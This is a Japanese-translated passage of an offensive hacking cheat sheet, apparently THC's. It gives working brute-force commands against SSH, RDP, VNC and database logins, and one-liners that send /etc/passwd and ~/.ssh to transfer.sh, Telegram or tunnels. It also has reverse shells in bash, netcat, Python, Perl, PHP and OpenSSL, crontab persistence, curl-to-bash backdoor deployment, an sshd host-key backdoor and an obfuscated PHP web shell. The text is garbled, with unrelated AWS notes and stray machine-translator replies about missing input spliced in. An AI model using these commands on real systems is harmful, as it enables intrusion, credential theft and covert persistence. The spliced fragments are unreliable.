* [Medusa](https://www.geeksforgeeks.org/password-cracking-with-medusa-in-linux/) / [ドキュメント](http://foofus.net/goons/jmk/medusa/medusa.html)
* [Metasploit](https://docs.rapid7.com/metasploit/bruteforce-attacks/)
* [Crowbar](https://github.com/galkan/crowbar) - 対象IPレンジのすべてのSSHキーを試すのに最適。
ユーザー名 & パスワードリスト:
* `/usr/share/nmap/nselib/data`
* `/usr/share/wordlists/seclists/Passwords`
* https://github.com/berzerk0/Probable-Wordlists - >THCのお気に入り<
* https://github.com/danielmiessler/SecLists
* https://wordlists.assetnote.io
* https://weakpass.com
* https://crackstation.net/
**U**sername/**P**asswordリストと**T**argetホストを設定します。```shell
ULIST="/usr/share/wordlists/brutespray/mysql/user"
PLIST="/usr/share/wordlists/seclists/Passwords/500-worst-passwords.txt"
T="192.168.0.1"
便利な Nmap パラメータ:```shell --script-args userdb="${ULIST}",passdb="${PLIST}",brute.firstOnly
有用な **Ncrack** パラメータ:```shell
-U "${ULIST}"
-P "${PLIST}"
便利な Hydra パラメータ:```shell -t4 # Limit to 4 tasks -l root # Set username -V # Show each login/password attempt -s 31337 # Set port -S # Use SSL -f # Exit after first valid login
<!--```shell
## HTTP Login
hydra -l admin -P "${PLIST}" http-post-fomr "/admin.php:u=^USER&p-^PASS&f=login:'Enter'" -v
-->```shell
nmap -p 22 --script ssh-brute --script-args ssh-brute.timeout=4s "$T" ncrack -P "${PLIST}" --user root "ssh://${T}" hydra -P "${PLIST}" -l root "ssh://$T"
| **カテゴリー** | **ツール名** | **説明** |
|--------------|----------------|-----------------|
| 情報収集 | [Amass](https://github.com/OWASP/Amass) | 詳細なアタックサーフェスマッピングと資産発見 |
| 情報収集 | [Subfinder](https://github.com/projectdiscovery/subfinder) | パッシブサブドメイン発見ツール |
| 情報収集 | [Masscan](https://github.com/robertdavidgraham/masscan) | TCPポートスキャナー、非同期にSYNパケットを送信 |
| 情報収集 | [RustScan](https://github.com/RustScan/RustScan) | モダンポートスキャナー |
| 情報収集 | [Naabu](https://github.com/projectdiscovery/naabu) | 信頼性とシンプルさに焦点を当てたGo製の高速ポートスキャナー |
| 情報収集 | [HTTPX](https://github.com/projectdiscovery/httpx) | 高速で多目的なHTTPツールキット |
| 情報収集 | [Shuffledns](https://github.com/projectdiscovery/shuffledns) | 有効なリゾルバを備えたmassdnsのラッパー |
| 情報収集 | [Gau](https://github.com/lc/gau) | AlienVault Open Threat Exchange、Wayback Machine、Common Crawlから既知のURLを取得 |
| ... | ... | ... |```shell
## Remote Desktop Protocol / RDP
ncrack -P "${PLIST}" --user root -p3389 "${T}"
hydra -P "${PLIST}" -l root "rdp://$T"
パスワード入力にバージョンが導入され、パスワードがCLI出力に 一切表示されることはなくなり、セキュリティが向上しました。
duration パラメータ (-d) は、今や
秒数ではなく人間が読みやすい時間形式を受け付けるようになりました。
コマンドライン引数の解析と設定ファイルの解析は
いずれも Go ネイティブの time.Duration パーサを使用しており、
すべての標準 Golang duration 単位
サフィックス ("ns",
"us" (または "µs"), "ms", "s", "m", "h") に対応します。
例: -d 12h30m45s
config ファイルのプロファイルに mfa_serial
値がない場合、MFA を使用しない長期認証情報とみなされます。もし、
credential_process 値を持つ、かつ/または source_profile ではなく、
別の config ファイルプロファイルを参照するものでない場合、それは
SSO プロファイルとみなされます。
長期認証情報または SSO プロファイルで cLAM を使用すると、 プロファイルを引き受けるための aws cli コマンドを返します。 その際、MFA トークンコードを取得しようとしません。```shell
hydra -P "${PLIST}" -l user "ftp://$T"
翻訳対象のMarkdownコンテンツが提供されていません。```shell
## IMAP (email)
nmap -p 143,993 --script imap-brute "$T"
Please provide the Markdown content to translate.```shell
nmap -p110,995 --script pop3-brute "$T"
The input chunk is empty — no content was provided to translate. Please supply the actual chunk text.```shell
## MySQL
nmap -p3306 --script mysql-brute "$T"
入力:```shell
nmap -p5432 --script pgsql-brute "$T"
入力:```shell
## SMB (windows)
nmap --script smb-brute "$T"
.```shell
nmap -p23 --script telnet-brute --script-args telnet-brute.timeout=8s "$T"
エラー: 入力コンテンツが提供されていません。翻訳するテキストが含まれていないため、処理できません。```shell
## VNC
nmap -p5900 --script vnc-brute "$T"
ncrack -P "${PLIST}" --user root "vnc://$T"
hydra -P "${PLIST}" "vnc://$T"
medusa -P "${PLIST}" –u root –M vnc -h "$T"
`? Let's examine: The user says "Translate the following Kitploit tool content. This is chunk 190 of 494 from a longer Markdown document being translated in sequence. The source language is en. Target language: ja. Content type: README chunk 190/494. ... INPUT:" and then nothing. There is no text to translate. Possibly the chunk is empty, or the input was accidentally omitted. In such case, I should output nothing or an empty translation. But the instruction says to return ONLY the translated text, no commentary. If there's no input, the output is likely empty. But the user said "The following Kitploit tool content." with no content. I might assume the chunk is exactly empty. However, the HTTP request may have had a content field but this is just the prompt. The prompt includes "INPUT:" with nothing after. I'll produce an empty response. The answer should be nothing, but to comply with format, probably just white space? "Return ONLY the translated text." So empty string. I'll output nothing.```shell
msfconsole use auxiliary/scanner/vnc/vnc_login set rhosts 192.168.0.1 set pass_file /usr/share/wordlists/seclists/Passwords/500-worst-passwords.txt run
Please provide the markdown content to translate.```shell
## HTML basic auth
echo admin >user.txt # Try only 1 username
echo -e "blah\naaddd\nfoobar" >pass.txt # Add some passwords to try. 'aaddd' is the valid one.
nmap -p80 --script http-brute --script-args \
http-brute.hostname=pentesteracademylab.appspot.com,http-brute.path=/lab/webapp/basicauth,userdb=user.txt,passdb=pass.txt,http-brute.method=POST,brute.firstOnly \
pentesteracademylab.appspot.com
最も簡単な方法: Segfault Root Server で exfil と入力します。
または、curl を使用して独自の PHP exfil サーバー を実行します。
ターゲットがインターネットにアクセスできない場合にファイルを転送するトリック: バイナリファイルを ASCII テキスト (base64) に変換し、カット&ペーストを使用します。(別の方法としては、gs-netcat のエリートコンソールで Ctrl-e c を使い、同じ TCP 接続でファイルを転送します。)
(自分のワークステーションで)xclip を使用して、エンコードされたデータを直接クリップボードにパイプします:```shell
base64 -w0 </etc/issue.net | xclip
#### >>> UUエンコード/デコード```sh
## uuencode
uuencode /etc/issue.net issue.net-COPY
begin 644 issue.net-COPY
72V%L:2!'3E4O3&EN=7@@4F]L;&EN9PH`
`
end
```sh base64 -d >issue.net-COPY ``` #### >>> Openssl エンコード/デコード```sh openssl base64VWJ1bnR1IDE4LjA0LjIgTFRTCg==
```sh openssl base64 -d >issue.net-COPY ``` #### >>> xxd エンコード/デコード```sh xxd -pVWJ1bnR1IDE4LjA0LjIgTFRTCg==
```sh xxd -p -r >issue.net-COPY ``` --- ### 4.ii. ファイル転送 - カット&ペーストを使用4b616c6920474e552f4c696e757820526f6c6c696e670a
リモートマシン上のファイルに貼り付けます(タブや $ 変数を壊さないように <<-'__EOF__' を使用することに注意)。```sh
cat >output.txt <<-'EOF'
[...]
EOF ### Finish your cut & paste by typing EOF
---
<a id="xfer-tmux"></a>
### 4.iii. ファイル転送 - *tmux* を使用
ワークステーションで `tmux` を起動します。任意の方法 (ssh、gs-netcat、...) でターゲットに接続します。
#### リモートからローカルへ (ダウンロード)
[Tmux-Logging](#tmux) を使用して、ターゲットからターミナル経由でワークステーションに大きなファイルをダウンロードします。
#### ローカルからリモートへ (アップロード)
リモートでお好みのデコードツール (base64) を起動します:```shell
# Use 'Ctrl-b $' to rename this tmux session to 'foo'
base64 -d >screen-xfer.txt
ワークステーション上で、別のターミナルから base64 エンコードされたデータを送信します。それは、あなたの REMOTE 上の screen-xfer.txt に到着します。```shell
tmux send-keys -t foo "$(base64 -w64 </etc/issue.net)"$'\n'
---
<a id="file-transfer-screen"></a>
### 4.vi. ファイル転送 - *screen* を使用
#### リモートからローカルへ(ダウンロード)
ローカルコンピュータで *screen* を実行し、そのシェル内からリモートシステムにログインします。ローカルの screen にすべての出力を screen-xfer.txt に記録するように指示します:
> CTRL-a : logfile screen-xfer.txt
> CTRL-a H
ここでは *openssl* を使用してデータをエンコードしますが、上記のいずれのエンコード方法でも機能します。このコマンドは base64 でエンコードされたデータをターミナルに表示し、*screen* はこのデータを *screen-xfer.txt* に書き込みます:```sh
## On the remote system encode issue.net
openssl base64 </etc/issue.net
ローカル画面でのそれ以上のデータ記録を停止します:
CTRL-a H
ローカルコンピュータでファイルをデコードします:```sh openssl base64 -d <screen-xfer.txt rm -rf screen-xfer.txt
#### LOCALからREMOTEへ(アップロード)
ローカルシステム上でデータをエンコードしてください:```sh
openssl base64 </etc/issue.net >screen-xfer.txt
リモートシステム上で(そして現在の screen 内から):```sh openssl base64 -d
*screen* に base64 エンコードされたデータを読み込ませて、クリップボードからリモートシステムにデータを貼り付けます:
> CTRL-a : readbuf screen-xfer.txt
> CTRL-a : paste .
> CTRL-d
> CTRL-d
注: [opensslのバグ](https://github.com/openssl/openssl/issues/9355)により、CTRL-d が2回必要です。
---
<a id="file-transfer-gs-netcat"></a>
### 4.v. ファイル転送 - gs-netcatとsftpを使用
[gs-netcat](https://github.com/hackerschoice/gsocket)を使用し、その中にsftpプロトコルをカプセル化します。NAT/ファイアウォールの背後にあるホストへのアクセスを可能にします。```sh
gs-netcat -s MySecret -l -e /usr/lib/sftp-server # Host behind NAT/Firewall
ワークステーションからこのコマンドを実行して、SFTPサーバーに接続してください。:```sh export GSOCKET_ARGS="-s MySecret" # Workstation sftp -D gs-netcat # Workstation
または単一ファイルをDUMPするには:```sh
# On the sender
gs-netcat -l <"FILENAME" # Will output a SECRET used by the receiver
# On the receiver
gs-netcat >"FILENAME" # When prompted, enter the SECRET from the sender
送信側/サーバー上:```sh
python -m http.server 8080 --bind 127.0.0.1 &
cloudflared tunnel -url localhost:8080
受信側: 任意のブラウザからURLにアクセスして、リモートファイルシステムを表示/ダウンロードします。
#### 1 - PHPを使用したアップロード:
受信側で:```posh
curl -fsSL -o upload_server.php https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/upload_server.php
mkdir upload
(cd upload; php -S 127.0.0.1:8080 ../upload_server.php &>/dev/null &)
cloudflared tunnel --url localhost:8080 --no-autoupdate
送信者側:```posh
up() { curl -fsSL -F "file=@${1:?}" https://ABOVE-URL-HERE.trycloudflare.com; }
up warez.tar.gz up /etc/passwd
#### 2 - PYTHONを使ったアップロード:
受信側:```posh
pip install uploadserver
python -m uploadserver &
cloudflared tunnel -url localhost:8000
送信者側:```posh curl -X POST https://CF-URL-CHANGE-ME.trycloudflare.com/upload -F '[email protected]'
---
<a id="download"></a>
### 4.vii. curlを使用しないファイルのダウンロード
Pythonを使用して、以下のみダウンロードします:```sh
# Declare a curl-alternative
purl() {
local url="${1:?}"
{ [[ "${url:0:8}" == "https://" ]] || [[ "${url:0:7}" == "http://" ]]; } || url="https://${url}"
"$(which python3 || which python || which python2 || which false)" -c "\
import urllib.request
import sys
import ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sys.stdout.buffer.write(urllib.request.urlopen(\"$url\", timeout=10, context=ctx).read())"
}
# purl ipinfo.io
例: purl で gsocket をインストールする:```sh
source <(purl https://raw.githubusercontent.com/hackerschoice/hackshell/main/hackshell.sh)
&& bin curl
&& bash -c "$(curl -fsSL https://gsocket.io/y)"
&& xdestruct
OpenSSLを使用して、以下のみをダウンロードします:```sh
surl() {
local r="${1#*://}"
local opts=("-quiet" "-ign_eof")
IFS=/ read -r host query <<<"${r}"
openssl s_client --help 2>&1| grep -qFm1 -- -ignore_unexpected_eof && opts+=("-ignore_unexpected_eof")
openssl s_client --help 2>&1| grep -qFm1 -- -verify_quiet && opts+=("-verify_quiet")
echo -en "GET /${query} HTTP/1.0\r\nHost: ${host%%:*}\r\n\r\n" \
| openssl s_client "${opts[@]}" -connect "${host%%:*}:443" \
| sed '1,/^\r\{0,1\}$/d'
}
# surl ipinfo.io
Perlを使用して、ダウンロードのみ:```sh lurl() { local url="${1:?}" { [[ "${url:0:8}" == "https://" ]] || [[ "${url:0:7}" == "http://" ]]; } || url="https://${url}" perl -e 'use LWP::Simple qw(get); my $url = '"'${1:?}'"'; print(get $url);' }
bashを使用して、以下のみをダウンロード:```sh
burl() {
IFS=/ read -r proto x host query <<<"$1"
exec 3<>"/dev/tcp/${host}/${PORT:-80}"
echo -en "GET /${query} HTTP/1.0\r\nHost: ${host}\r\n\r\n" >&3
(while read -r l; do echo >&2 "$l"; [[ $l == $'\r' ]] && break; done && cat ) <&3
exec 3>&-
}
# burl http://ipinfo.io
# PORT=31337 burl http://37.120.235.188/blah.tar.gz >blah.tar.gz
bash にカット&ペーストしてください:```sh transfer() { [[ $# -eq 0 ]] && { echo -e >&2 "Usage:\n transfer [file/directory]\n transfer [name] <FILENAME"; return 255; } [[ ! -t 0 ]] && { curl -SsfL --progress-bar -T "-" "https://transfer.sh/${1}"; return; } [[ ! -e "$1" ]] && { echo -e >&2 "Not found: $1"; return 255; } [[ -d "$1" ]] && { (cd "${1}/.."; tar cfz - "${1##*/}")|curl -SsfL --progress-bar -T "-" "https://transfer.sh/${1##*/}.tar.gz"; return; } curl -SsfL --progress-bar -T "$1" "https://transfer.sh/${1##*/}" }
次に、ファイルまたはディレクトリをアップロードします:```sh
transfer /etc/passwd # A single file
transfer ~/.ssh # An entire directory
(curl ipinfo.io; hostname; uname -a; cat /proc/cpuinfo) | transfer "$(hostname)"
A list of our favorite public upload sites.
大量のディレクトリを同期したり、中断された転送を再開するのに最適です。例では、Sender から Receiver への単一の TCP 接続を使用して、ディレクトリ 'warez' を Receiver に転送します。
受信側:```posh echo -e "[up]\npath=upload\nread only=false\nuid=$(id -u)\ngid=$(id -g)" >r.conf mkdir upload rsync --daemon --port=31337 --config=r.conf --no-detach
送信者:```posh
rsync -av warez rsync://1.2.3.4:31337/up
同じ暗号化(OpenSSL):
受信者:```posh
openssl req -subj '/CN=example.com/O=EL/C=XX' -new -newkey ed25519 -days 14 -nodes -x509 -keyout ssl.key -out ssl.crt cat ssl.key ssl.crt >ssl.pem rm -f ssl.key ssl.crt mkdir upload cat ssl.pem socat OPENSSL-LISTEN:31337,reuseaddr,fork,cert=ssl.pem,cafile=ssl.pem EXEC:"rsync --server -logtprR --safe-links --partial upload"
送信者:```posh
# Copy the ssl.pem from the Receiver to the Sender and send directory named 'warez'
IP=1.2.3.4
PORT=31337
# Using rsync + socat-ssl
up1() {
rsync -ahPRv -e "bash -c 'socat - OPENSSL-CONNECT:${IP:?}:${PORT:-31337},cert=ssl.pem,cafile=ssl.pem,verify=0' #" -- "$@" 0:
}
# Using rsync + openssl
up2() {
rsync -ahPRv -e "bash -c 'openssl s_client -connect ${IP:?}:${PORT:-31337} -servername example.com -cert ssl.pem -CAfile ssl.pem -quiet 2>/dev/null' #" -- "$@" 0:
}
up1 /var/www/./warez
up2 /var/www/./warez
Rsync は https / cloudflared raw TCP トンネル を介してデータを外部持ち出しするよう組み合わせることができます。
(Windows から外部持ち出しするには、gsocket windows パッケージ の rsync.exe を使用します)。よりノイジーな解決策は syncthing です。
プロのヒント:怠け者ハッカーは segfault.net で exfil と入力するだけ。
受信側(例:segfault.net)で Cloudflare-Tunnel と WebDAV を起動します:```sh cloudflared tunnel --url localhost:8080 &
wsgidav --port=8080 --root=. --auth=anonymous
別のサーバー上で:```sh
# Upload a file to your workstation
curl -T file.dat https://example-foo-bar-lights.trycloudflare.com
# Create a directory remotely
curl -X MKCOL https://example-foo-bar-lights.trycloudflare.com/sources
# Create a directory hierarchy remotely
find . -type d | xargs -I{} curl -X MKCOL https://example-foo-bar-lights.trycloudflare.com/sources/{}
# Upload all *.c files (in parallel):
find . -name '*.c' | xargs -P10 -I{} curl -T{} https://example-foo-bar-lights.trycloudflare.com/sources/{}
File ExplorerでWindowsから共有にアクセスします(ファイルをドラッグ&ドロップするため):``` \example-foo-bar-lights.trycloudflare.com@SSL\sources
または、WebDAV共有をWindows(Z:/)にマウントします:```
net use * \\example-foo-bar-lights.trycloudflare.com@SSL\sources
アップロードサービスは無数にありますが、TG はスマートな代替手段です。TG BotFather から TG-Bot-Token を取得してください。次に、新しい TG グループを作成し、ボットをグループに追加します。そのグループの chat_id を取得します:```sh curl -s "https://api.telegram.org/bot/getUpdates" | jq -r '.result[].message.chat.id' | uniq
- 分析レポート: [エンコーダロジックの解析 - 様々なマルウェアにおける既知の回避テクニックの考察](https://0x0060.dev/breaking-encoder-logic/)```sh
# Upload file.zip straight into the group chat:
curl -sF [email protected] "https://api.telegram.org/bot<TG-BOT-TOKEN>/sendDocument?chat_id=<TG-CHAT-ID>"
ヒント: https://www.revshells.com/ を使用 👌
5.i.a. gs-netcat を使用したリバースシェル(暗号化)
完全な PTY リバースシェルを展開してアクセスするための 1 ライナーについては、6. バックドア を参照してください。 https://gsocket.io/deploy を使用します。
あなたのシステムでポート 1524 をリッスンするように netcat を起動します:```sh nc -nvlp 1524
接続後、シェルを完全にインタラクティブなPTYシェルに[アップグレード](#reverse-shell-interactive)してください。あるいは、netcat の代わりに [pwncat-cs](https://pwncat.org/) を使用してください:```sh
pwncat -lp 1524
# Press "Ctrl-C" if pwncat gets stuck at "registered new host ...".
# Then type "back" to get the prompt of the remote shell.
リモートシステム上で、このコマンドはあなたのシステム(IP = 3.13.3.7、ポート1524)に接続し、シェルプロンプトを提供します:```sh
(bash -i &>/dev/tcp/3.13.3.7/1524 0>&1 &)
bash -c '(exec bash -i &>/dev/tcp/3.13.3.7/1524 0>&1 &)'
bash -c '(exec -a kqueue bash -i &>/dev/tcp/3.13.3.7/1524 0>&1 &)'
Alternatively, on the remote system, put this into the `~/.profile` or crontab to re-start the connect-back shell (and also stops multiple instances from being started):
Alternatively, on the remote system, put this into the `~/.profile` or crontab to re-start the connect-back shell (and also stops multiple instances from being started):
あるいは、リモートシステム上で、これを `~/.profile` または crontab に入れて、コネクトバックシェルを再起動します(また、複数のインスタンスが起動されるのを防ぎます):```sh
fuser /dev/shm/.busy &>/dev/null || (bash -c 'while :; do touch /dev/shm/.busy; exec 3</dev/shm/.busy; bash -i &>/dev/tcp/3.13.3.7/1524 0>&1; sleep 360; done' &>/dev/null &)
curlshell を使用します。これはプロキシ経由でも機能し、外部への直接TCP接続が禁止されている場合でも機能します。```sh
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -sha256 -days 3650 -nodes -subj "/CN=THC"
./curlshell.py --certificate cert.pem --private-key key.pem --listen-port 8080
```sh
# On the target:
curl -skfL https://3.13.3.7:8080 | bash
複数の接続をリッスンするためにncatを起動します:```sh ncat -kltv 1524
```sh
# On the target:
C="curl -Ns telnet://3.13.3.7:1524"; $C </dev/null 2>&1 | sh 2>&1 | $C >/dev/null
5.i.e. OpenSSLを使用したリバースシェル(暗号化)```sh
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -sha256 -days 3650 -nodes -subj "/CN=THC"
openssl s_server -port 1524 -cert cert.pem -key key.pem
脅威エミュレーションとレッドチーミングフレームワーク、Earth Krahang Exploit
[](https://github.com/user-attachments/assets/5e74343e-3317-4e7a-ab42-e9c06c50cf27)```sh
# On the target, start an openssl reverse shell as background process:
({ openssl s_client -connect 3.13.3.7:1524 -quiet </dev/fd/3 3>&- 2>/dev/null | sh 2>&3 >&3 3>&- ; } 3>&1 | : & )
組み込みシステムには常に Bash があるとは限らず、/dev/tcp/ トリックは機能しません。他にも多くの方法があります(Python、PHP、Perl など)。私たちのお気に入りは、netcat をアップロードして netcat または telnet を使うことです:
リモートシステム上で:```sh nc -e /bin/sh -vn 3.13.3.7 1524
Variant if *'-e'* is not supported:
→
*-e'* がサポートされていない場合のバリアント:```sh
{ nc -vn 3.13.3.7 1524 </dev/fd/3 3>&- | sh 2>&3 >&3 3>&- ; } 3>&1 | :
{ nc 3.13.3.7 1524 </dev/fd/2|sh;} 2>&1|: と短縮できます。(IA_PDに感謝)。| : のトリックは、C-Shell/tcsh (FreeBSD)、オリジナルのBourne shell (Solaris)、Korn shell (AIX) では機能しません。代わりに mkfifo を使用してください。古い /bin/sh 向けのバリアント:```sh mkfifo /tmp/.io; sh -i 2>&1 </tmp/.io | nc -vn 3.13.3.7 1524 >/tmp/.io
Telnet バリアント:```sh
mkfifo /tmp/.io; sh -i 2>&1 </tmp/.io | telnet 3.13.3.7 1524 >/tmp/.io
mkfifoがサポートされていない場合のTelnetバリアント (Ulg!):```sh touch /tmp/.fio; tail -f /tmp/.fio | sh -i | telnet 3.13.3.7 31337 >/tmp/.fio
注: ログイン後は `rm /tmp/.fio` を忘れないでください。
<a id="revese-shell-remote-moe"></a>
**5.i.h. remote.moe と ssh を使ったリバースシェル (暗号化)**
raw TCP (例: bash リバースシェル) を [remote.moe](https://remote.moe) 経由でトンネリングすることが可能です:
作業用ワークステーションで:```sh
# First Terminal - Create a remote.moe tunnel to your workstation
ssh-keygen -q -t rsa -N "" -f .r # New key creates a new remote.moe-address
ssh -i .r -R31337:0:8080 -o StrictHostKeyChecking=no [email protected]; rm -f .r
# Note down the 'remote.moe' address which will look something like
# uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe
# Second Terminal - start listening for the reverse shell
nc -vnlp 8080
ターゲット上で(SSHとBashが必要):```sh bash -c '(killall ssh; rm -f /tmp/.r; ssh-keygen -q -t rsa -N "" -f /tmp/.r; ssh -i /tmp/.r -o StrictHostKeyChecking=no -L31338:uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe:31337 -Nf remote.moe; bash -i &>/dev/tcp/0/31338 0>&1 &)'
ターゲット上で(代替手段;ssh、bash、mkfifo が必要):```sh
rm -f /tmp/.p /tmp/.r; ssh-keygen -q -t rsa -N "" -f /tmp/.r && mkfifo /tmp/.p && (bash -i</tmp/.p 2>1 |ssh -i /tmp/.r -o StrictHostKeyChecking=no -W uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe:31337 remote.moe>/tmp/.p &)
5.i.i. Python を使用したリバースシェル```sh python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("3.13.3.7",1524));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
<a id="reverse-shell-perl"></a>
**5.i.j. Perl を使用したリバースシェル**```sh
# method 1
perl -e 'use Socket;$i="3.13.3.7";$p=1524;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
# method 2
perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,"3.13.3.7:1524");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};'
5.i.k. PHPによるリバースシェル```sh php -r '$sock=fsockopen("3.13.3.7",1524);exec("/bin/bash -i <&3 >&3 2>&3");'
<a id="reverse-shell-upgrade"></a>
<a id="reverse-shell-pty"></a>
**5.ii.a. リバースシェルをPTYシェルにアップグレードする**
上記のリバースシェルはいずれも制限されています。たとえば *sudo bash* や *top* は動作しません。これらを動作させるには、シェルを実際のPTYシェルにアップグレードする必要があります:```sh
# Using script
exec script -qc /bin/bash /dev/null # Linux
exec script -q /dev/null /bin/bash # BSD
Please provide the Markdown content to translate.```sh
exec python -c 'import pty; pty.spawn("/bin/bash")'
<a id="reverse-shell-interactive"></a>
**5.ii.b. リバースシェルを完全な対話型シェルにアップグレードする**
...そして、Ctrl-C なども使いたい場合は、リバースシェルを本当に完全なカラフルな対話型シェルにまでアップグレードする必要があります:```sh
# On the target host spawn a PTY using any of the above examples:
python -c 'import pty; pty.spawn("/bin/bash")'
# Now Press Ctrl-Z to suspend the connection and return to your own terminal.
Input content is missing — please provide the chunk text to translate.```
stty raw -echo icrnl opost; fg
### C2
C2 サーバーとその API の実装詳細```sh
# On target host
export SHELL=/bin/bash
export TERM=xterm-256color
reset -I
stty -echo;printf "\033[18t";read -rdt R;stty sane $(echo "${R:-8;80;25}"|awk -F";" '{ printf "rows "$3" cols "$2; }')
# Pimp up your prompt
# PS1='USERS=$(who | wc -l) LOAD=$(cut -f1 -d" " /proc/loadavg) PS=$(ps -e --no-headers|wc -l) \[\e[36m\]\u\[\e[m\]@\[\e[32m\]\h:\[\e[33;1m\]\w \[\e[0;31m\]\$\[\e[m\] '
PS1='\[\033[36m\]\u\[\033[m\]@\[\033[32m\]\h:\[\033[33;1m\]\w\[\033[m\]\$ '
5.ii.c. socat によるリバースシェル(完全対話型)
...または、socat をインストールして、あまり手間をかけずに済ませることができます:```sh
socat file:tty,raw,echo=0 tcp-listen:1524
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:3.13.3.7:1524
---
<a id="backdoor"></a>
## 6. バックドア
単純な1行のリバースシェルについては、[Reverse Shell / Dumb Shell](#reverse-shell)を参照してください。
<a id="gsnc"></a>
**6.i. gs-netcat を使用したリバースシェル**
主に gs-netcat の自動デプロイスクリプトを使用します: [https://www.gsocket.io/deploy](https://www.gsocket.io/deploy)。```sh
bash -c "$(curl -fsSLk https://gsocket.io/y)"
または```sh bash -c "$(wget --no-check-certificate -qO- https://gsocket.io/y)"
または、独自のデプロイメントサーバーを実行してgsocketをデプロイします:```sh
LOG=results.log bash -c "$(curl -fsSL https://gsocket.io/ys)" # Notice '/ys' instead of '/y'
6.ii. sshx.io を使用したリバースシェル(暗号化)
Web ブラウザからリモートシェルにアクセスします https://sshx.io。
sshx-backdoor をメモリに直接パイプします:```shell
echo $(curl -SsfL https://s3.amazonaws.com/sshx/sshx-$(uname -m)-unknown-linux-musl.tar.gz|tar xfOz - sshx 2>/dev/null
|nohup perl '-efor(319,279){($f=syscall$_,$",1)>0&&last};open($o,">&=".$f);print$o();exec{"/proc/$$/fd/$f"}"/usr/bin/python3",("-q")' 2>/dev/null
|{ read x;echo "$x";}&)
または、不格好な方法:```shell
curl -SsfL https://s3.amazonaws.com/sshx/sshx-$(uname -m)-unknown-linux-musl.tar.gz|tar xfOz - sshx 2>/dev/null >.s \
&& chmod 755 .s \
&& (PATH=.:$PATH .s -q >.u 2>/dev/null &);
for _ in {1..10}; do [ -s .u ] && break;sleep 1;done;cat .u;rm -f .u .s;
apt update 後も生存するauthorized_keys や PAM を使用しない。authorized_keys に鍵を追加するのは使い古されています 😩。代わりに、root としてこれを任意のターゲットに 一度だけ カット&ペーストしてください。SSHD の設定に1行追加され、永遠にログインできるようになります:```shell
backdoor_sshd() {
local B="/etc/ssh"
local K="${B}/ssh_host_ed25519_key" D="${B}/sshd_config.d"
local N=$(cd "${D}" 2>/dev/null|| exit; shopt -s nullglob; echo .conf)
[ ! -f "$K" ] && K="${B}/ssh_host_rsa_key"
[ -n "$N" ] && N="${N%%.conf}.conf"
N="${D}/${N:-50-cloud-init.conf}"
[ ! -d "${D}" ] && N="${B}/sshd_config"
{ [ ! -f "$K" ] || [ ! -f "$K".pub ]; } && return
grep -iqm1 '^PermitRootLogin\s+no' "${B}/sshd_config" && echo >&2 "WARN: PermitRootLogin blocking in sshd_config"
echo -e "\e[0;31mYour id_ed25519 to log in to this server as any user:\e[0;33m\n$(cat "${K}")\e[0m"
grep -qm1 '^AuthorizedKeysFile' "$N" 2>/dev/null && { echo >&2 "WARN: Already backdoored"; return; }
echo -e "AuthorizedKeysFile\t.ssh/authorized_keys .ssh/authorized_keys2 ${K}.pub" >>"${N}" || return
touch -r "$K" "$N" "$D"
&& declare -F ctime >/dev/null && ctime "$N" "$D"
command -v systemctl >/dev/null && { systemctl restart ssh;:;} || service ssh restart
}
backdoor_sshd
仕組み:
- SSHDホスト鍵は通常のed25519鍵にすぎません。
- どのed25519鍵でもユーザー認証に使用できます。
- SSHDは`~/.ssh/authorized_keys`を確認します(ただし、このトリックは使われすぎています)。
- 代わりに、SSHDがログイン認証鍵として`/etc/ssh/sshd_host_ed25519_key.pub`も確認するように設定します。
- SSHDは有効なログイン鍵として`~/.ssh/authorized_keys` _と_ `/etc/ssh/ssh_host_ed25519_key.pub`の両方を確認するようになります。
- `/etc/ssh/sshd_host_ed25519_key`秘密鍵を使用してターゲットにログインします。
<a id="backdoor-network"></a>
**6.vi. ネットワーク全体へのリモートアクセス**
[gs-netcat](https://github.com/hackerschoice/gsocket)をインストールします。これは、HostのプライベートLAN上にSOCKS出口ノードを作成し、Global Socket Relay Networkを通じてアクセスできるようにします。独自のリレーサーバーを運用する必要はありません(例: ワークステーションからリモートのプライベートLANに直接アクセスできます)。```sh
gs-netcat -l -S # compromised Host
これで、ワークステーションからホストのプライベートLAN上のあらゆるホストに接続できます:```sh gs-netcat -p 1080 # Your workstation.
socat - "SOCKS4a:127.1:route.local:22"
[任意のツールをSocksプロキシ経由で使用する](#scan-proxy) をお読みください。
その他の方法:
* [Gost/Cloudflared](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) - 私たちの記事
* [Reverse Wireguard](https://thc.org/segfault/wireguard) - segfault.net から任意の(内部)ネットワークへ。
<a id="php-backdoor"></a>
**6.v. 最小のPHPバックドア**
任意のPHPファイルの先頭に次の行を追加します:```php
<?php $i=base64_decode("aWYoaXNzZXQoJF9QT1NUWzBdKSl7c3lzdGVtKCRfUE9TVFswXSk7ZGllO30K");eval($i);?>
これはbase64エンコードです:```php if(isset($_POST[0])){system($_POST[0]);die;}
バックドアをテストする:```sh
### 1. Optional: Start a test PHP server
cd /var/www/html && php -S 127.0.0.1:8080
### Without executing a command
curl http://127.0.0.1:8080/test.php
### With executing a command
curl http://127.0.0.1:8080/test.php -d 0="ps fax; uname -mrs; id"
